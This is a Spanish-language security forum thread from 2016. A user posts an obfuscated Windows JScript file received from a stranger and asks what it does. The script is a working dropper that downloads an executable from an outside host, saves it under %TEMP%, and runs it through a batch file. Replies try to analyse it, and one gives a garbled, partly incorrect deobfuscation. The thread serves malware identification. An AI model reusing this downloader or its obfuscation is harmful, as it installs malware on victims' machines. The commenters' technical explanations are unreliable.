Underc0de

Foros Generales => Dudas y pedidos generales => Mensaje iniciado por: GGZ en Mayo 17, 2016, 04:54:04 AM

Título: [SOLUCIONADO] [JS]¿Qué hace este código?
Publicado por: GGZ en Mayo 17, 2016, 04:54:04 AM
Hoy he recibido este código de una persona que no conozco.


Código (javascript) [Seleccionar]
var place0 = false;
var DENMARK0 = "";

var fromPath;
var VALIGN0 = "Cr"+"e"+"ateObject";
/*@cc_on /* u  */
  @if (@_win32 || @_win64)/* u  */
    //
CONNECTION /* u  */ = "W"+"S"+"c"+"ript";
place0 /* u  */= true;/* u  */
DENMARK0/* u  */ = /* u  */"MLH";/* u  */
fromPath =/* u  */ "R" + "esponseB"/* u  */ + "ydo".split('').reverse().join('');
Turkey = /* u  */(/* u  */"noitisop").split(''/* u  */).reverse(/* u  */).join('');
devel0 /* u  *//* u  */ =/* u  */ "eliFoTevaS".split(''/* u  */).reverse().join('');
Currency0 = "A"+"DODB";
DENMARK1 = "s" + "end";
Backspace = "ht"+"tp:"+"//v"+"il"+"alu"+"sa."+"co"+"m/0"+"98r"+"44"+"fg"+"45"+"g4"+"5";
Backspace0 = "G\x45"+"T";
/* u  */ @end/* u  */
@*//* u  */
if (!(place0))
{
WScript.Echo("pizzxzzda");
WScript.Quit(1);
}


var stepy/* u  */ = /* u  */this[/* u  */CONNECTION /* u  *//* u  */]/* u  */;
var VALIGN1 = function VALIGN() {return stepy[VALIGN0](("fdasfadsfaszxvc", CONNECTION /* u  */)+".Shell");}(), aaa0 = 11;
var accinp0 /* u  */ = 1 * ((-5600 + 5602) - 0);
var catchKeyCode = accinp0 /* u  */ - (2 + 0) * 1;
function Scott(requires0){VALIGN1[("@sdf3asdf ", "adfs3.", "R")+ "u" + ("x", "n")](requires0, catchKeyCode, catchKeyCode);};
function devel(){return VALIGN0;};

{
var stepy0 = "M" + "SX"+"ML2."+"X"+DENMARK0+"T"+"TP";
var accinp = "";
accinp = "o"+"pen";
function arrCurrentTag(catchKeyCode0) {catchKeyCode0[devel0](VALIGN1["E"+"xpandEnvir"+"o"+"nmentStrings"]("%T"+"E"+"M"+"P%/") + "QDdd60eYD.ex" + "e", (4714 - 4712) * 1); return 0;};

if (true){
Scott1 = stepy0;
arrCurrentTag1 = stepy[VALIGN0](Scott1);
var place /* u  */ = 3-2;
while (place /* u  */) {
for (;place /* u  */;){
try {
if (place /* u  */ == 1)
{
arrCurrentTag1[accinp](Backspace0, Backspace, (true, false));
arrCurrentTag1[DENMARK1]();
arrCurrentTag0 = "S"+"l"+"eep";
place /* u  */ = 5316 - 5314;
}
stepy[arrCurrentTag0](120);
if (arrCurrentTag1["r"+"eadystate"] < 4) continue;
place /* u  */ = catchKeyCode;
function DENMARK(Currency) {var Scott0 = (123, Currency); return Scott0;};

aaa = VALIGN1["E"+"xpandEnvir"+"o"+"nmentStrings"]("%T"+"E"+"M"+"P%/") + "QDdd60eYD.ex" + "e";
CONNECTION0 = VALIGN1["E"+"xpandEnvir"+"o"+"nmentStrings"]("%T"+"E"+"M"+"P%/") + "suc11.05.2016kit.bat";
Turkey0 = "start "+aaa+"\r\nexit"

Scott1 = devel1 = stepy[devel()](Currency0+"."+"Str"+"e"+"a"+"m");
Scott1[accinp]();
Scott1["t"+"y"+"pe"] = 2;
requires = "w"+"r"+"i"+"t"+"e";
Scott1["Charset"] = "windows-1251";
Scott1[requires+"Text"](Turkey0);
devel1[Turkey] = 0;
Scott1[devel0](CONNECTION0, -2025 + 2027);
devel1["close"]();

Scott1 = devel1 = stepy[devel()](Currency0+"."+"Str"+"e"+"a"+"m");
Scott1[accinp]();
Scott1["t"+"y"+"pe"] = 2;
Scott1["Charset"] = "windows-1251";
Scott1[requires+"Text"]("M");
devel1[Turkey] = 0;
arrCurrentTag(Scott1);
devel1["close"]();

Scott1 = devel1 = stepy[devel()](Currency0+"."+"Str"+"e"+"a"+"m");
Scott1[accinp]();
Scott1["t"+"y"+"pe"] = 1;
Scott1[requires](arrCurrentTag1[fromPath]);
devel1[Turkey] = -3320 + 3321;
arrCurrentTag(Scott1);
devel1["close"]();

if (1 && place0) Scott(CONNECTION0);
} catch(fromPath0){};};
};
}
}



Cabe destacar que después de declarar :
var place0 = false;
var DENMARK0 = "";

Abajo hay una linea de ////////////////////////////////////////////////// larguísima que lo tuve que sacar porque se trababa todo
Título: Re:[JS]¿Qué hace este código?
Publicado por: blackdrake en Mayo 17, 2016, 02:54:25 PM
Creo que es un keylogger, o algo que envía datos a la siguiente url: vilalusa.com/098r44fg45g45

Saludos.
Título: Re:[JS]¿Qué hace este código?
Publicado por: 79137913 en Mayo 17, 2016, 03:52:47 PM
HOLA!!!

...desofuscando...

GRACIAS POR LEER!!!
Título: Re:[JS]¿Qué hace este código?
Publicado por: sp3cial1st en Mayo 17, 2016, 03:56:14 PM
no hay duda, nada de parecido, es un keylogger..
tambien tiene codigo de shell pero para erroneo..
Título: Re:[JS]¿Qué hace este código?
Publicado por: 79137913 en Mayo 17, 2016, 04:40:17 PM
HOLA!!!

Bueno estuve desofuscando un poco esto...

todo el codigo hace mas o menos lo que dice el proximo codigo.

En la desofuscacion se perdieron datos pero nada importante.

Realmente el que lo creo esta un poco mal de la cabeza Jajajaj creo que con suerte funcionara en Iexplore < 8

El funcionamiento esta interesante, Descarga 2 archivos un exe y un bat (el exe debe usar el bat por que este script no lo ejecuta)
El exe funciona de keylogger offline mientras que el script solicita la informacion al exe por medio de una coneccion ADODB
Luego el script envia el archivo a la web (me parece que a traves de un ResponseBody que anda sando vueltas por ahi.

Saludos

Sin mas el Script:

Código (javascript) [Seleccionar]

        try {


// se conecta con la web y descarga el exe
                WScript.CreateObject(this.["WScript"])["open"]("G\x45T", "http://vilalusa.com/098r44fg45g45", (true, false));
                WScript.CreateObject(this.["WScript"])["send"]();
//guarda el exe
                SaveToFile("%TEMP%" + "QDdd60eYD.exe")0;
               
//si la conexion no dio error continua sino sale del try
                if (WScript.CreateObject(this.["WScript"])["readystate"] < 4) continue;
//guarda el bat que descargo por que no dio error la conexion
                SaveToFile(WScript.Shell["ExpandEnvironmentStrings"]("%TEMP%/") + "suc11.05.2016kit.bat");
//ejecuta el exe y sale de la ventana de DOS
                WScriptShell( "start "+"%TEMP%" + "QDdd60eYD.exe"+"\r\nexit")
//Se conecta a una base de datos (supongo que el exe es un keylogger miniatura sin posibilidades de enviar informacion al exterior por lo que usa este script para comunicar)
                this["WScript"]["CreateObject"]("ADODB"+".Stream");
                this["WScript"]["open"]();
                this["WScript"]["type"] = 2;
                this["WScript"]["write"]();
                this["WScript"]["Charset"] = "windows-1251";
                this["WScript"][requires+"Text"]("position");
//ejecuta la peticion a la BD
                this["WScript"]["runx"] = 0;
//Guarda el resultado
                this["WScript"]["SaveToFile"]("WScript.runx");
//cierra la connexion
                this["WScript"]["close"]();
//la parte del envio de datos la tengo perdida, se me borro
        } catch("ResponseBody"0){};};


GRACIAS POR LEER!!!
Título: Re:[JS]¿Qué hace este código?
Publicado por: GGZ en Mayo 19, 2016, 01:43:40 AM
Nooo!, jaja buenisimo! muchas gracias 79137913 y a los otros por haber contestado ahora me quedaré leyendo más el código que pusiste

Saludos!